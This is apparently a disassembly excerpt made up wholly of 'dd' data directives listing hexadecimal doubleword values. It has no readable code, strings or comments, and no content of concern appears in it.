dd 7E3050CDh, 0BD0092D1h, 192EA5D3h, 0A05D0BB3h, 779CC8h
dd 7DAE9011h, 0A41D7BBAh, 0A8A69901h, 45B6E29Bh, 0EC107D61h
dd 94E68ED7h, 72E8A070h, 7D18C9D6h, 0E1A098B1h, 0DEA45184h
dd 2E0CF3Eh, 94D11ADh, 81813EECh, 715D41B1h, 78808DE5h
dd 50CFFBD9h, 0B20F6965h, 978F8B85h, 2FFF3801h, 0D99CAE5Bh
dd 0AD2384FCh, 8958941Ch, 0EDB1E3B0h, 0F93CD4CFh, 2282F4Ch
dd 7C24A161h, 4E88CC7Bh, 8A047249h, 67F692C0h, 0A502BA02h
dd 0E16E2BD7h, 60CC1CF8h, 0D0490E94h, 4D027957h, 3C5B5564h
dd 5B8180AEh, 623923E7h, 8C5CC5F1h, 2D6B1F9Fh, 158700C4h
dd 194C7ECCh, 83C03138h, 388661ADh, 8079E271h, 0F06D88E8h
dd 4AC80B26h, 840004FAh, 0ABF912B6h, 9BBA2200h, 9430C3Ah
dd 7C5E03C2h, 0DF04D32Fh, 6BBDF802h, 0C8301037h, 3243D530h
dd 1F9849B1h, 2F54C2C0h, 0E2E3C100h, 3651FE2Ah, 10B00F90h
dd 75C009B8h, 0D9DC9F5h, 927C5F0Ch, 637C0C2h, 0E1031811h
dd 7B12D1BDh, 50C066E2h, 54F1975Bh, 1750FC85h, 760711h
dd 0A36A7CA8h, 0C96E426h, 0B6433D07h, 0AD7F7360h, 0E16400D8h
dd 5BA5D7FBh, 8001D37Ch, 904CDCB3h, 6C3828EEh, 0FA116200h
dd 44850130h, 0D4DF4226h, 691DFB04h, 44864E1h, 7E030B06h
dd 24A96689h, 53C0588Fh, 27F0606Ch, 0BC2E7800h, 59890E97h
dd 0AC7C9E02h, 944C029Ch, 0DCB8AA85h, 1A029031h, 3656DF01h
dd 23C0E0E4h, 0D38705F7h, 8E6324F0h, 928069BCh, 0C910E150h
dd 0FF678D8h, 7FFDEC5Ch, 7D1B9F20h, 86003A8Eh, 1E55A6B6h
dd 583B3C90h, 491C906Eh, 0F4B24109h, 3056EEB5h, 9916C7D4h
dd 6D00DC5Ah, 0F1AD59D0h, 6CA80FB9h, 47A02D5Bh, 0D12B3F92h
dd 0D6B8FA00h, 9D2F8DA9h, 0C0AC5424h, 0FD660FDFh, 90009550h
dd 811E3C27h, 7B267505h, 0F090D0ADh, 4ADF9C44h, 0E93C00B1h
dd 0F9E3F31Fh, 61D4783Fh
dd 16D23A48h, 19C282Dh, 5C045002h, 614961E6h, 734C2D18h
dd 6C05852Eh, 0BDAF8A00h, 999A73h, 0A413BEE5h, 1B86EAE9h
dd 5433DE00h, 2D0D18CFh, 2B78F41Dh, 0F40796h, 1324DEBFh
dd 4494B1BBh, 0B8A04444h, 751E2728h, 0CA668020h, 60041AA8h
dd 32CEA14Ch, 9D0660E2h, 0D1D2C0EEh, 0C914C300h, 0F3700580h
dd 0F10F00A5h, 30908903h, 0BC48DC21h, 7EF802CCh, 681AAE91h
dd 0ED3E2364h, 0E0EC7070h, 97892D6h, 8B318362h, 91C1CC8h
dd 526EB115h, 879A0294h, 46D37375h, 99ED0E1Ch, 5140A7E8h
dd 0CFE53CB6h, 9FD26D00h, 6F71D15Dh, 0D73A1DA9h, 0F4BC8013h
dd 4FE307A7h, 1FD66300h, 50E885F7h, 87B7008Ah, 997A1C70h
dd 410EE90Dh, 0E0598B7Dh, 0F01B4CF4h, 68851F07h, 0BE71414Eh
dd 8F984F48h, 20BA7920h, 152A0F3Ah, 0E1CA03C5h, 0DAEC9A55h
dd 95A568C0h, 5370B160h, 60BC6FAFh, 3E7388Ch, 0E3605D8Bh
dd 1CBAAE11h, 0ABF81FC7h, 0BD67C063h, 0CECCE533h, 48CF69E2h
dd 4E2B9Eh, 0C807F7F7h, 91DD006Ch, 2D350B66h, 2503EEA4h
dd 848DDC23h, 0D518F8B5h, 7DC100F4h, 94EB7312h, 0D400B95Bh
dd 0ABB09964h, 529646DBh, 28024C54h, 3F22D4F5h, 0ACECA580h
dd 8D04B715h, 0D16F6B4h, 5F4B53C0h, 702A0617h, 38C1E652h
dd 7ECD5D00h, 0B1E54A21h, 2007002Ch, 682A6184h, 5414DFBAh
dd 84DD99h, 882D466Eh, 3E20B86h, 0B4CCC7FBh, 5813A849h
dd 6D009C24h, 93C31A09h, 0D5AC1FDDh, 8F60E57h, 703D100h
dd 0FF03E5AAh, 0C377AA9h, 7196F02Dh, 4B7EB1h, 0EAE414F7h
dd 85B6D608h, 1E7CD8E9h, 0E916FD01h, 3DF93163h, 8E291180h
dd 788F3948h, 0E6F1B0Eh, 0A8D528h, 8B41709Fh, 1433AF52h
dd 0AC649C84h, 23474E02h, 0B4A0DA55h, 6FFEE715h, 0ED682450h
dd 0D8D17C00h, 0C06A0C76h, 0CAEF0130h, 786CBA9Ch, 931441AFh
dd 6A8482Ch, 0F232B8C0h, 4BEACD4h, 78B1F971h, 0E134001Ch
dd 38F80A4h, 0CCE994E5h, 9102A915h, 1DFAD9B4h, 25C480FFh
dd 0F2BAF6D2h, 0B1B7124Dh, 645E7Eh, 2AC4027Dh, 2812F94Ah
dd 220016A7h, 527B0C78h, 73F80088h, 0AAFC7C04h, 0EC2CB955h
dd 9500A490h, 7497998Ah, 3865481Bh, 8380B1C0h, 280127A0h
dd 6981732Eh, 26DCAC22h, 57F900E0h, 0A3EAC82Ch, 42035D05h
dd 0F61CFECEh, 1DD0CF07h, 37C1F1E1h, 71502399h, 213BDEACh
dd 0D571C8C8h, 0B503BB12h, 2F440C43h, 46CF8EAh, 65BC2A81h
dd 0ED1105D8h, 42AF28E7h, 857A95E8h, 4E20C08Fh, 0FBF41D5Ah
dd 0A36D4C01h, 0D335E983h, 3442EF4h, 0A50E09B6h, 0D1148B64h
dd 803801A4h, 636A2EEFh, 8E9126BAh, 2B220018h, 9A18974Ch
dd 0D0A60200h, 0FA19B695h, 0FD4926Bh, 766F788Eh, 26611E20h
dd 0E1009977h, 0A0989CB6h, 9F808Bh, 0D5665616h, 38F0155h
dd 4D838203h, 0F0846935h, 1E53B86h, 9C5E2A42h, 0EC64E163h
dd 6C0F0314h, 602B3E1Eh, 7E656E2Eh, 92FE20Dh, 0BB284B0Ch
dd 9873BC00h, 0FE0077EDh, 3DEB112Eh, 2CCA1F0h, 0DB2AC1FFh
dd 74684306h, 0E492A9E7h, 1EE8B953h, 0E5187D82h, 860CF1h
dd 453444D9h, 4704EBEFh, 0F9CA4A00h, 1AFB28B6h, 0C3840296h
dd 46D922F2h, 897A6BC0h, 7F039400h, 9EFBA65Ah, 6CEE0099h
dd 0CEF02B3Dh, 7800C67Bh, 1C382A3h, 1486B3h, 551C8C84h
dd 0A1C7C02Bh, 0FE715C00h, 0C1D4E15Eh, 0DD9C0096h, 2095CE6Eh
dd 0B300036Bh, 0E3AD0235h, 1C2714B7h, 0C0A1246Dh, 41711962h
dd 0D1008F96h, 0C7DAF281h, 17F6B98Ch, 0E616C22h, 376069C0h
dd 20B12D0h, 0B3FDB100h, 65A024C9h, 28340001h, 0D3E4E83Dh
dd 1A008AB8h, 0BF8CFC31h, 1C0CDC4Fh, 216E84h, 0F9ED629Eh
dd 3E1C566Bh, 0B7C75FE8h, 7D90CACFh, 23DB73h, 0D650D8B8h
dd 0BDAC5E5Ch, 0C8001BE8h, 915717B7h, 0D82252h, 19091A4Bh
dd 241D38D7h, 0E64F6D00h, 3EAEA343h, 2A1C00Bh, 0EA573BD1h
dd 0B9C69C39h, 405B80CAh, 26C53D19h, 37770355h, 1DC4C58h
dd 75EC4DC8h, 7B00B3F0h, 686BDD1Bh, 5C9F54h, 0D2D65FBEh
dd 6F7D830Ch, 4B3AE701h, 1C4EF553h, 0C0324683h, 0C6D0C215h
dd 9C0056FDh, 550F9050h, 9B739Fh, 0CB10DCCAh, 0F3DE9389h
dd 0B1A65B01h, 0FC01BE6Fh, 0E2B3F850h, 11E53ED6h, 36B00330h
dd 1F54F2A7h, 1B0056E0h, 15BF5F5Dh, 0D70831h, 0DF205332h
dd 991CAB48h, 5D8439h, 794F6CECh, 921E6697h, 82940010h
dd 0FC154ADBh, 0F2008D4Eh, 9C101C59h, 67AAB861h, 0C205295Ah
dd 0F2FCE2F7h, 42FABB01h, 8ED03E77h, 88CA602Ah, 57339652h
dd 0CD36AF00h, 0F2DD16D8h, 35A81886h, 3431B8AEh, 97FCCCA0h
dd 6F1A0512h, 1CB34467h, 29E3BEh, 0BF15D420h, 328ADD70h
dd 118FA500h, 0F71E2CB0h, 0A4FB034Eh, 5CB8A3D9h, 0B72FB009h
dd 0DAEB00E8h, 0D5686Dh, 52295079h, 16EB7AB4h, 0C0394600h
dd 0B6C83275h, 0ED705Ch, 443F87BDh, 22079BC3h, 854CB501h
dd 58B7B290h, 76D6C8F4h, 0A97400C9h, 0D463BF36h, 0A3792C2Dh
dd 0FF8EF102h, 0FFC0E50Dh, 1134A160h, 0EC795D1Fh, 331F1241h
dd 0B0207E53h, 0EA240095h, 6F4B7FB4h, 8600614Ah, 3BAF164Dh
dd 80F327h, 3A7565B5h, 25907CC7h, 945BBB07h, 0F6C0F57Fh
dd 61BDED55h, 9ECCD8DCh, 0B40BBB0h, 0B7066Fh, 0AD2F7FFEh
dd 1E590789h, 80A8A123h, 6EAE5011h, 9539C600h, 0D6B25462h
dd 142D00F1h, 448C1BF8h, 4F779C29h, 0AC3BA301h, 3EA47591h
dd 0BC47F880h, 0EAC4D28Dh, 0CBE6C200h, 3BE4F9E8h, 991E3FFEh
dd 19BD7380h, 0FB068774h, 0F328B660h, 0E27F67E1h, 483D603Eh
dd 6277930Dh, 0B8F6560Ah, 140F848Eh, 25CDA08Ch, 1E4020Ah
dd 0A32F034Dh, 9EDDCBD3h, 0CF9C7C64h, 0C0C47000h, 11B4965h
dd 0CB79A13Ah, 0E0CA9A42h, 5F00C990h, 388336FFh, 4748A03h
dd 0A6C5987Ch, 0C0AB8762h, 45EDD569h, 49FA50C0h, 72CD6A28h
dd 6B7A14E8h, 0FA805426h, 2F54FC3h, 0B1B5EA05h, 10307C0Fh
dd 742A170h, 92405E18h, 97CAF004h, 0C438F349h, 7058E55h
dd 7A36609Ah, 356D06h, 0C2E50363h, 78A633EEh, 7CD73B2Ah
dd 42EF8D00h, 0BE6C4BB0h, 639F3DDAh, 305DD592h, 9E41BB1Ch
dd 0B503DDE8h, 0E423EF13h, 0C42BA8F2h, 78442C5Dh, 70A60270h
dd 0BBC057F8h, 8606D7C6h, 432E7D16h, 247FF069h, 470AA2Bh
dd 9CE57ADBh, 0C8ACF024h, 0F95D8D00h, 12B00E32h, 0BC351F2Fh
dd 93E40D9h, 1420EBEAh, 9CADFE02h, 948BC94Ah, 852C3AF8h
dd 310ED180h, 9E568AA0h, 0ECFFD22Ah, 263F0800h, 602102D6h
dd 29490057h, 0C7FD2734h, 4D005014h, 8FE5D933h, 3F7E92h
dd 7AEC3909h, 79D1E84Fh, 4AE77600h, 0C163493Ah, 0E3DA009Fh
dd 48E55A77h, 62000672h, 0B5761C7Dh, 39609998h, 7181073Fh
dd 320F6A6Fh, 0F68420FAh, 90D48100h, 362BADF5h, 0EBB0C3h
dd 177A6BFEh, 7D1401E0h, 649CC800h, 3D664F11h, 0D90C24B1h
dd 60A400F8h, 0F3E4FB36h, 0D6B9EF00h, 0E6935E61h, 8890497Eh
dd 0DA5215C2h, 3C00B894h, 257D21CDh, 40B3767h, 8BD3D99Bh
dd 40B499CAh, 0BB6A0294h, 0F545500h, 3576D5D4h, 0E6D13137h
dd 0EC7E0378h, 17007561h, 0CD21DED0h, 6B4B7Dh, 0ED32BF7Fh
dd 0C5D4AFECh, 0C06590CFh, 0FB9F6383h, 0B55B0C5Fh, 0F0CC9017h
dd 0F2284460h, 3F58C2F8h, 3A809EB0h, 6F7FE403h, 0A2E85EF9h
dd 8C1D020Ch, 2F21845h, 26CA9F30h, 7466B431h, 8CADD000h
dd 0FE4EDB7Ch, 5C31EF3Ch
dd 5F61E8DFh, 88331342h, 0CA8800EBh, 5F35EE2h, 719F4A0Ah
dd 60CFF0D5h, 3B362A7Ah, 42890053h, 9E4D6FA3h, 0D1004C47h
dd 4018B527h, 0BACF43h, 0E1601161h, 624B46A5h, 5C010900h
dd 6CD7F53Ah, 927D012Eh, 163FFC49h, 0A1803432h, 80637F3Fh
dd 87BCC8D3h, 8A750Bh, 21EE70B4h, 6A9458C9h, 0EDD1BE01h
dd 5A2A1CCBh, 3D83F8B8h, 9E7AA2C7h, 730BD3A0h, 0F5DC4D00h
dd 0CAEB10D6h, 40DAF9ADh, 0CD7B8Ch, 0A341F9D9h, 5179D22Dh
dd 0B800AFE8h, 3B9D5A2h, 2619B229h, 802897B4h, 7D8CD0ECh
dd 7500FDEEh, 7BD62C7Ch, 72A605C0h, 0B8853C92h, 0B823393h
dd 58381A04h, 301175Eh, 2B204CB8h, 0E8F0CAFBh, 69EA2663h
dd 6093E778h, 0E3DB7EF9h, 68D80800h, 89CF1AA4h, 606A9853h
dd 226E681Fh, 0F012451Eh, 8000CC33h, 0F86263EEh, 4E885h
dd 19F22D6Ch, 0DD799D31h, 1CECEC50h, 789CF12Dh, 0C567076Fh
dd 54E36273h, 130C02Bh, 1000E8EAh, 42C46ED4h, 9C9EEBDh
dd 9B444B51h, 3177D0A0h, 78007EA5h, 0B1E24956h, 744F5FD7h
dd 0CA260012h, 532E6D3Eh, 5250CBFAh, 0A1003BE8h, 2AC5E7F3h
dd 721A997Eh, 10B20062h, 0CC6964A4h, 0D03EE070h, 7EDC00A7h
dd 2E8FF215h, 1F4C9AFAh, 40D3FDB4h, 0E0A96384h, 0A800B0F1h
dd 0C967C642h, 6DFEC5h, 9C34CF60h, 0F9C8D20Fh, 0A3B2FC00h
dd 0AA044D59h, 65CE0EAFh, 52E09FDBh, 0AC9492FAh, 960D2000h
dd 4CA2089Eh, 8178FCh, 0A4DB8419h, 5886301Dh, 0E1FE7800h
dd 0ACB00152h, 755D1D23h, 0E8BE0057h, 21F1E47Ah, 198E3D00h
dd 9EDFD810h, 0B1515CF4h, 8300C64Ch, 4F07ECC6h, 55003DEEh
dd 67401277h, 900BE26Dh, 934107B9h, 0E06CF87Ah, 0D327997Dh
dd 87B0BA00h, 32845D7Bh, 419E16B5h, 3C6F1F60h, 2A4B3D02h
dd 7BC1F0BEh, 7A5881BDh, 0FE68199h, 0CDD9F1C7h, 428EE0h
dd 0F3CB82E8h, 4F657F4Eh, 0D645B400h, 3A6EBB7Ch, 0C7C100F4h
dd 3944C3Ch, 420081A3h, 0BD558EC8h, 1FC3D0h, 518018F1h
dd 9784331Eh, 284B70DDh, 5849800Ch, 0F90F64B9h, 7F13DD70h
dd 0A7101C2h, 634E0D7Ah, 0A69BF39Ah, 0C2736901h, 0EB06D1C5h
dd 0E03BA5F8h, 6B3F0041h, 0FBF8992Dh, 5B781A09h, 5E010300h
dd 4B39428Fh, 8E5D0E7Fh, 2443A5FDh, 90F7ED78h, 0DCFA6F6Eh
dd 42437400h, 0FD06C021h, 0E39F0065h, 612D558Dh, 53009159h
dd 0A3E7E440h, 0CA976Ah, 8680C4CFh, 241F7B0Ch, 28036Eh
dd 8E7429D7h, 704D3D89h, 0A71ABE80h, 3A51CFDAh, 6605780Eh
dd 0DCE9A387h, 94BBA87Ch, 0F2CB175Ah, 8A00FFC0h, 6A73401Eh
dd 2D0F5C03h, 0D5393002h, 99E2AAD2h, 9000C28Bh, 0E7B7CA2Fh
dd 5DD93600h, 0A9E1C7C0h, 65BA014Eh, 524ADBACh, 0F5D621F9h
dd 0F11C406Ah, 5E02D420h, 298323E8h, 7542CBh, 429856A4h
dd 0B4850CDFh, 0CD1E441h, 9116C30Eh, 0BDDAA0A1h, 3D18A023h
dd 2A039915h, 4A02C7A3h, 0C08D3AC1h, 0B0037674h, 33E4713Dh
dd 0FD80F97h, 0F0F89520h, 0AD3C6849h, 0E842B7A9h, 0B5C8D670h
dd 0CB640072h, 5359E5FAh, 811DDA01h, 3DC360B3h, 72A9B08h
dd 0CBEA10F0h, 0E5123087h, 0A87E1A74h, 4B4CEB00h, 0DE8666A3h
dd 0D1A8C030h, 696A3B2Fh, 0AE248D1Dh, 1DCE2AC0h, 0FD4191h
dd 4D6DBCE6h, 0D8DADE02h, 0C6F62100h, 3F1C597Fh, 655400B0h
dd 0E4186D04h, 6100E6AAh, 0C1D5FDBBh, 2852CF6Eh, 75A42C47h
dd 0E7BC00E8h, 9639297Eh, 0CE3FE07Ah, 54F2A499h, 7D3D8D01h
dd 0C040C847h, 13F78Eh, 22D6CD78h, 7A74E425h, 0F2BB3403h
dd 8F2B88E5h, 3C0AA86h, 59039ABh, 8EC177B4h, 0B82C48EDh
dd 7E799F01h, 0D7295452h, 6381F8h, 0FC33181Dh, 7A16C0C3h
dd 0F4008E7Fh, 0A5841E76h, 0AB417EBh, 9597463Dh, 83803CCCh
dd 404C24D0h, 3CAE08A4h, 6B033CE6h, 0FFD16ECDh, 2787C86Ch
dd 0AC3D00B1h, 0BDFCE0D8h, 6D745F38h, 0FED09C50h, 0B80B7024h
dd 677BC101h, 3082E9E2h, 2585872Ah, 0F986E8E0h, 179D5702h
dd 4416DADFh, 6A59090Ch, 0A838A192h, 9A39A726h, 883B854Eh
dd 0A514E6F4h, 717809E8h, 0FF0C2043h, 884F6Fh, 25C98A41h
dd 0A601DED9h, 0C3FEA300h, 3722E1EFh, 0CFBC052Fh, 0A207C4Bh
dd 805807E0h, 176E9EE8h, 0B401E53Ch, 4BC32732h, 54204481h
dd 4F3A3B29h, 0AD406A8Fh, 7B24D820h, 0E7289396h, 8A009420h
dd 89A9D974h, 1237101h, 26992444h, 205DDF69h, 0D9718AB4h
dd 8146D838h, 0E255FEEEh, 0E4ECF63Dh, 0A5A4007Bh, 6684A3Ah
dd 0C70319A8h, 0DE090864h, 0D69CC16Ch, 0FCEB0430h, 0D765003Ah
dd 0CA912F7h, 0C100AD3Fh, 58A20A81h, 11AE79h, 55FC436Dh
dd 0DCC96B8Dh, 91284B1Eh, 6635D340h, 90E9BDE7h, 0B47A5325h
dd 873C0077h, 56B0B84Eh, 39EE907Ch, 0DDEAEB72h, 8EC13505h
dd 9C01517Ah, 0D38FEA85h, 0D8F09443h, 2E35B2Dh, 0AA84C0E6h
dd 0A0611156h, 4B3C34F8h, 8C08E500h, 0F7B2FBA7h, 49C000Dh
dd 497356C9h, 8D0282C3h, 4D13E92Eh, 10F7824Bh, 0B5AC91AAh
dd 1E1BFDC4h, 0A4C6F252h, 44C213A7h, 88859178h, 2E35DC7Ch
dd 98007910h, 6EA10B5Fh, 5BB2138Ah, 83B4377Dh, 6000DBC1h
dd 76F94DE8h, 53AF60Ch, 7784159Dh, 0AF880130h, 3391BAA2h
dd 0CFD601F8h, 794E7B48h, 404CC2CEh, 1DE8B830h, 8EF4D1E7h
dd 42405215h, 0E5631CEh, 99A16C00h, 61BA4D85h, 0E41E0533h
dd 94E787EFh, 0E083FA34h, 41E3E89Eh, 0F37624FCh, 22DE00F0h
dd 829B3D70h, 0D8D69F03h, 0E8E116B3h, 11E0251h, 0AC475F36h
dd 64A684A4h, 0E87277DCh, 0F51D8100h, 0C29DB31h, 58250A40h
dd 0B4032Eh, 161722EBh, 320EB51Bh, 0E13491D9h, 9CAA2C54h
dd 482D21E0h, 33001C25h, 0D86A0A03h, 0D1003DABh, 0C218B71Ah
dd 71214A77h, 0AA7B0562h, 94447C5Ch, 0C0F87798h, 8C2C551Bh
dd 0DF279A05h, 0F88861B6h, 0AFA9C541h, 2B4002Ah, 0A7ED9DB0h
dd 718CF000h, 5822D746h, 1FA100CBh, 28D9AE07h, 0B100294Ah
dd 5F2B6BFDh, 4CA0324Fh, 59983009h, 9010DD17h, 5302295Eh
dd 70EDEA6Dh, 4BA8BC83h, 207D9CE1h, 27004267h, 86ADCA4Ch
dd 0C07E49DFh, 0FF26A918h, 0D9590DFCh, 0B81D26ACh, 3F805D84h
dd 729054C0h, 8B5F0074h, 0D8B8FFC0h, 0A2012A12h, 3EBDAF0Bh
dd 0C8E64C22h, 0F8E84740h, 18B2C1h, 2D3F8A9Ah, 0D9695EFFh
dd 9F1B8800h, 0A22FE83Eh, 60EB2695h, 0E6D30464h, 0B4049070h
dd 0F907E888h, 0A6D667B6h, 0DBD1870h, 8E7C3C84h, 0EB1F5800h
dd 6AA58264h, 60FBCA2Eh, 5F54EA40h, 8031F7C9h, 0B07AEBE7h
dd 13F583ABh, 32B67D5h, 0E60CE99Ch, 0CFE054C3h, 2C4C9C8Ch
dd 8FD00C3h, 3BD29A48h, 1C9D58BBh, 0CC1F64B0h, 2C4A7A0Fh
dd 4406B30Bh, 71C849h, 942B13FDh, 4576F55Eh, 6C05E22Eh
dd 0AB537086h, 2CEFA49h, 0B42B83FEh, 0C4C0AA66h, 0AD00D786h
dd 517D48BBh, 9F99D2Dh, 0E61C35F1h, 71EAD880h, 0A0CDA3Ch
dd 0FA1B8CF3h, 5051C1EEh, 24D21435h, 8B007D54h, 19932FB9h
dd 0F848E7h, 2A95049Ah, 3508418Fh, 0A454A758h, 0B3C5E01Dh
dd 50D026C3h, 0A31619Eh, 0CD41C4D1h, 0E1067184h, 3240600Fh
dd 0F884F4B2h, 6496B081h, 395C5D20h, 702B0CC0h, 2C4CC066h
dd 1E1699D9h, 406985h, 0F2866F54h, 5F30B8D6h, 7CCBF9F1h
dd 4A9ECCAh, 2171DBC9h, 6CA480EBh, 1E07D353h, 438324F5h
dd 90B137C0h, 3CE70CC1h, 0AD583E4Ah, 0E300D27Eh, 0FBB3BD08h
dd 2C59523Bh, 9A813FCh
dd 0C84470CCh, 0D4613F01h, 788BBBFFh, 2850EC65h, 31ED98h
dd 24308EF0h, 0A9676CC0h, 78300499h, 2E31D9Dh, 0DB6F3F7Dh
dd 92899E98h, 309FCC20h, 1A39AE44h, 516286F4h, 8478915Ah
dd 0FAF1127Ch, 0FC5888BEh, 174C4A00h, 4B1E37A8h, 7EFA02AEh
dd 0B864F973h, 66040858h, 0F822ADBh, 20157C8Dh, 2268888h
dd 0EF3062C7h, 0E06278CEh, 9C45B423h, 0B37E7D98h, 434C1E09h
dd 26C007Bh, 5BB252Eh, 0F5D19FF1h, 0AF3CC10Eh, 88182031h
dd 48D22700h, 9A7D371Dh, 54F200DCh, 0D9D49645h, 0E3E0C7A5h
dd 10F0CD01h, 0BCE4D11Dh, 1DA66860h, 405B6417h, 0E25181F1h
dd 590060B1h, 66C9B60Eh, 0F05FD11Eh, 4C089229h, 0B80B984Ch
dd 6051D03h, 8A8400A9h, 32F1C0EFh, 78319226h, 9F449E01h
dd 54310785h, 29B0CC28h, 0D8CB4922h, 0BDB48065h, 1765534h
dd 773930E8h, 419BA3EFh, 0FF3CB3C0h, 0EC4787F1h, 7C73ACAEh
dd 60A8E56Fh, 81D3400Fh, 330604B0h, 83E3B3CDh, 0E0000D7Bh
dd 413A3111h, 0ACBAF68h, 3DFEF146h, 7E4A0064h, 0A9272557h
dd 1C42DF00h, 0F76A4145h, 20C56971h, 3988B080h, 1305543h
dd 0B0A5F1CDh, 2CCA04BFh, 84AFCC79h, 90FCD4DBh, 21241BB0h
dd 7AE0C303h, 88D26184h, 0B0D80B58h, 0AED901F4h, 5617183Eh
dd 0F826F0DCh, 9E70CB17h, 64CECC00h, 0A1C56CCAh, 90475C50h
dd 0A69052D1h, 2C885464h, 40DC0DE4h, 0D84ADC3Ch, 3A70BA1Fh
dd 0B1CACEC5h, 7D77A820h, 87D50052h, 83863091h, 4D006671h
dd 0E610B1F2h, 5BBFC06h, 69D9D504h, 8C18901Ch, 0DB30EB3Bh
dd 6C6620EFh, 0F2FF7230h, 0A79507F5h, 24C3D00Fh, 74C8E0E0h
dd 16250400h, 0FEFAEECBh, 39B584Ah, 4040CD16h, 5923D15Ch
dd 0FD4D4CFFh, 882F24F0h, 7EE8FE00h, 489D3EA4h, 0DE093490h
dd 0D8601AC9h, 6A142F0Ch, 0D388C286h, 82BBF802h, 2B42A43h
dd 528DE15Ah, 0C8009070h, 0E88C7153h, 54493BA3h, 4C839CBBh
dd 0B80D2377h, 609817DFh, 0F614BEA5h, 3C840713h, 7E84002Ah
dd 0B62530E2h, 0D009AD0h, 0E0797178h, 92343089h, 5DD6F02h
dd 0C09D8833h, 58FE2EA8h, 90500311h, 25BF00DAh, 90E9063Ah
dd 84A8D9CBh, 157AAE6Fh, 77B37900h, 96B1D6BEh, 142600E3h
dd 809255FDh, 213F67C8h, 35AE03DEh, 3124D2Bh, 9D19D51h
dd 2998F49Bh, 0CC071A9Ah, 77E9B804h, 64BC87E2h, 365779Ch
dd 0E1CADB8Bh, 23C7431Ch, 0C13FC564h, 0E29D8002h, 0B0217CF2h
dd 60AC2AD1h, 0E59305DCh, 9037B1DDh, 86CC2B3Ch, 0D517A8B8h
dd 0D820B485h, 33048EBh, 0A150698Ch, 9991395Ch, 0FDF4247Ch
dd 87F02E00h, 0BFDEA91Ch, 92DCA25Bh, 4990C1F4h, 7051E073h
dd 0BCA10804h, 7901F189h, 0E0869CC8h, 3305800h, 0F6873F65h
dd 0E48A0A9Bh, 80FC5680h, 0E70C3A9Ch, 964825FAh, 0F82E1D20h
dd 301008EDh, 2848BD40h, 81E8A1B2h, 0BC33AC23h, 0A1001519h
dd 0F90CA8FBh, 9E9F627h, 6E959967h, 601A0410h, 70997DF4h
dd 0B7C15465h, 0C351A21h, 0F0C1F428h, 66B51D62h, 808C93E0h
dd 24F40E88h, 0C0002379h, 94153AC8h, 8C140424h, 0B5319A04h
dd 0B84890F7h, 0E9508AB0h, 0B0754300h, 0B35F0AA6h, 2D060056h
dd 0B17B0D79h, 5D70ADC7h, 25CD1C48h, 24A81BAEh, 0A500C991h
dd 60D1788Dh, 0E01652Ch, 5E640679h, 60CE8BA6h, 1CA54B64h
dd 0C089BC82h, 7551CE84h, 181FF150h, 0F98CE231h, 9D86160h
dd 0D4FAB7AEh, 0E8589020h, 87F6325Ch, 3413892Ch, 52E1EEC2h
dd 0F47F07ECh, 9747E6E9h, 0D1DE007Eh, 39129631h, 2001ABF1h
dd 29114A8h, 404C8CCh, 0AA1D9EB3h, 40D0908Ch, 43E28B4Dh
dd 0E605E4F4h, 55FBF82Ch, 0D21B3F80h, 98A85D60h, 67F0E03Ch
dd 0C018A116h, 426F481Ch, 0E3CFBE04h, 2890AA79h, 15A938A7h
dd 0EC8D1105h, 73B9D500h, 52ED84E0h, 7EF0430Fh, 92AD0B13h
dd 0A19850B4h, 0E0219C88h, 88F4C28h, 3D09B0AFh, 835C98C4h
dd 0FB4F1FFCh, 66F9A9C9h, 609C91D4h, 81E719Ah, 1905FD30h
dd 0B5535BEh, 7CDDDB9Ch, 0E7E24C80h, 6604EEAAh, 7E49EF99h
dd 72D8C882h, 575A006Ch, 60D1034Bh, 0EF481185h, 40C4D2A8h
dd 0D19294E2h, 6FB3EAE0h, 5EBFE0h, 0E7A4A27h, 17227D40h
dd 42F5751Eh, 76E35400h, 1E2F06D7h, 7D312DFFh, 0F0DCAD80h
dd 0C08A90B7h, 34361F00h, 398084Fh, 7B541343h, 228F00E0h
dd 7DF9B1B8h, 806CDA38h, 6116266Fh, 980B0Ah, 399FC6Eh
dd 156710DEh, 0E5D94314h, 0BA400D7h, 0ECB624D5h, 0CAA900B2h
dd 59478CDAh, 90030666h, 15B3C572h, 0FD210EB8h, 0FA8096C6h
dd 0D7C18D44h, 8F016AE2h, 550DBBE6h, 0FCC824F8h, 8EC5394Fh
dd 308B8228h, 61A00B99h, 6029D67h, 0A9CBBCADh, 0FB74E068h
dd 313D0F38h, 28800357h, 4D74DAE1h, 8A1A4501h, 4743FA70h
dd 0D19820h, 0B59DF0D0h, 4D1DBA57h, 0C09F9100h, 69CEE390h
dd 4F2901B6h, 44A06BA3h, 8209D8ECh, 86AD112Ch, 1CFAB00h
dd 9899145Eh, 582E00E7h, 0F8A2CEDBh, 9300BE41h, 496E9A88h
dd 0C0ED42D2h, 0F6A83EF0h, 6F073BF7h, 4A5058B6h, 0C866570h
dd 0AA2B00F2h, 0D8774C4Eh, 2400FC7Ch, 0BDB1B7B9h, 5B51EF3h
dd 6D7FAD17h, 31804788h, 59880A0h, 0ECFC9C5Ah, 797AD97Ah
dd 34C99CEFh, 760C226Ch, 7F990B3h, 0B20F7C98h, 715BC032h
dd 6400C3CDh, 0C1752926h, 1FE9F73h, 0AA5FBFAh, 0D0BD3C7Ch
dd 8B7590C7h, 24185448h, 1DB80094h, 5C80AEB5h, 0DA0B2D55h
dd 8AF005h, 0F0FA3671h, 0CB51651Ah, 0F0FF2A30h, 3FAD9FDBh
dd 86008E38h, 70AC28E9h, 35010273h, 10DD19ECh, 77C5C19Fh
dd 0E27F8870h, 0F7D2122Dh, 0C1485F02h, 0C7A6DE1Dh, 883860BAh
dd 42036C90h, 70EB6359h, 0A24E86Ch, 0C4C85186h, 2DF6FF0h
dd 282083D1h, 6240DDAFh, 405079A9h, 0C752F348h, 0F8AB00E4h
dd 459A37FDh, 9EE52423h, 1F2D8104h, 4098F3EAh, 31F5F2E8h
dd 7A8EE805h, 9073C782h, 7CA080D1h, 24F8A0B7h, 14E400A2h
dd 64D68AE5h, 0F6248BDCh, 0E601D879h, 0DD5C9682h, 36BACC4h
dd 0F9EAD8B0h, 0EEA3D09Fh, 5DE1FFD0h, 40441404h, 3C88821Fh
dd 196E478h, 4BCEDDC5h, 24326F70h, 5D06BCF0h, 0EE20CC33h
dd 9CE80080h, 0CEFBE3C0h, 8240C2Ah, 885BD00Dh, 10192EAh
dd 0DE9C75F5h, 0FC796735h, 0A8EE7694h, 80178430h, 0EA36BDCh
